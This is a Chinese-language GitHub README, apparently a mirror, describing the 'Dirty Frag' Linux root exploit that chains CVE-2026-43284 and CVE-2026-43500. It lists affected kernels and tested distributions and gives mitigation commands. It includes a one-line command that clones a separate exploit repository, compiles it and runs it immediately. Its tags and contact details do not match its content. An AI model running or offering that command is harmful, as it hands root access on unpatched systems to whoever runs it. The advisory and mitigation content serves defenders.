FrosterDL/CVE-2026-43284
GitHub: FrosterDL/CVE-2026-43284
Dirty Frag 通过链式利用 xfrm-ESP 和 RxRPC 两个页缓存写入漏洞,在主流 Linux 发行版上实现可靠的本地提权至 root。
Stars: 0 | Forks: 0
# Dirty Frag:通用 Linux LPE
## 摘要
本文档解释了由 [Hyunwoo Kim (@v4bel)](https://x.com/v4bel) 发现并报告的 Dirty Frag 漏洞类。通过将 `xfrm-ESP Page-Cache Write (CVE-2026-43284)` 与 `RxRPC Page-Cache Write (CVE-2026-43500)` 进行链式利用,攻击者可以在主流 Linux 发行版上提权至 root。
Dirty Frag 扩展了与 [Dirty Pipe](https://dirtypipe.cm4all.com/) 和 [Copy Fail](https://copy.fail/) 相同的漏洞家族。这是一个确定性的逻辑漏洞,不依赖于时间窗口或竞态条件,在利用失败时不会导致内核崩溃,且利用成功率极高。
有关完整的技术细节和披露时间表,请参阅随附的技术报告(不包含在此代码库中)。
- `xfrm-ESP Page-Cache Write (CVE-2026-43284)` 已在主线内核的提交 [f4c50a4034e6](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4) 中修复。
- `RxRPC Page-Cache Write (CVE-2026-43500)` 已在主线内核的提交 [aa54b1d27fe0](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=aa54b1d27fe0c2b78e664a34fd0fdf7cd1960d71) 中修复。
## 漏洞利用
### 快速单行命令
```
git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
```
此 PoC 在与 linux-distros 协调后分享,仅供信息参考之用。请勿在您未获授权测试的系统上运行它。
### 清理
⚠️ **重要提示:** 运行该漏洞利用程序会污染页缓存。要恢复到干净的状态,请运行:
```
echo 3 > /proc/sys/vm/drop_caches
```
或重启计算机。
## 受影响的版本
- **CVE-2026-43284**:xfrm-ESP Page-Cache Write 存在于 [cac2661c53f3 (2017-01-17)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=cac2661c53f3) 至 [f4c50a4034e6 (2026-05-05)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4) 之间。
- **CVE-2026-43500**:RxRPC Page-Cache Write 存在于 [2dc334f1a63a (2023-06-08)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2dc334f1a63a) 至 [aa54b1d27fe0 (2026-05-10)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=aa54b1d27fe0c2b78e664a34fd0fdf7cd1960d71) 之间。
实际上,这些漏洞跨越了大约九年的时间。
已测试的发行版版本包括:
- Ubuntu 24.04.4: 6.17.0-23-generic
- RHEL 10.1: 6.12.0-124.49.1.el10_1.x86_64
- openSUSE Tumbleweed: 7.0.2-1-default
- CentOS Stream 10: 6.12.0-224.el10.x86_64
- AlmaLinux 10: 6.12.0-124.52.3.el10_1.x86_64
- Fedora 44: 6.19.14-300.fc44.x86_64
- ...
## 缓解措施
1. 要移除受影响的模块并清除页缓存,请运行:
```
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"
```
2. 在发行版反向移植补丁或供应商补丁可用时及时应用。
## 常见问题解答
### 为什么链式利用两个漏洞?
xfrm-ESP Page-Cache Write 提供了类似于 Copy Fail 的强大的任意 4 字节 STORE 原语,并且在许多发行版上都可用,但它需要创建命名空间的权限。
Ubuntu 可能会通过 AppArmor 限制无特权用户命名空间的创建,从而阻止 xfrm-ESP 被触发。RxRPC Page-Cache Write 不需要创建命名空间的权限,但在许多发行版上默认不存在 `rxrpc.ko` 模块。然而,在 Ubuntu 上,`rxrpc.ko` 通常是已加载的。
将两者链式利用可以弥补彼此的不足,从而在所有主流发行版上实现 root 提权。详情请参阅技术报告。
### 又一个“冠名”的“Dirty”系列吗?
是的——Dirty Frag 与“Dirty Pipe”有关,这个名字反映了该漏洞类会修改 `struct sk_buff` 的 `frag` 成员。
### 与“Copy Fail”的关系?
Copy Fail 启发了这项研究。Dirty Frag 链中的 xfrm-ESP Page-Cache Write 与 Copy Fail 共享相同的漏洞点 (sink),但即使在存在 `algif_aead` 缓解措施的情况下也能被触发。因此,针对 Copy Fail 进行了加固的系统可能仍然容易受到 Dirty Frag 的攻击。
### 我该如何修复我的 Linux?
请按照上述“缓解措施”部分中的步骤进行操作。
## 联系方式
维护者:https://linkedin.com/in/tahamuhammadshafiq
标签:CVE-2026-43284, CVE-2026-43500, Dirty Frag, Dirty Pipe, Exploit, LPE, meg, PoC, RxRPC, Web报告查看器, xfrm-ESP, 信息安全, 内核漏洞, 子域名枚举, 安全渗透, 客户端加密, 提权, 暴力破解, 本地提权, 漏洞分析, 漏洞复现, 系统安全, 网络安全, 路径探测, 隐私保护, 页缓存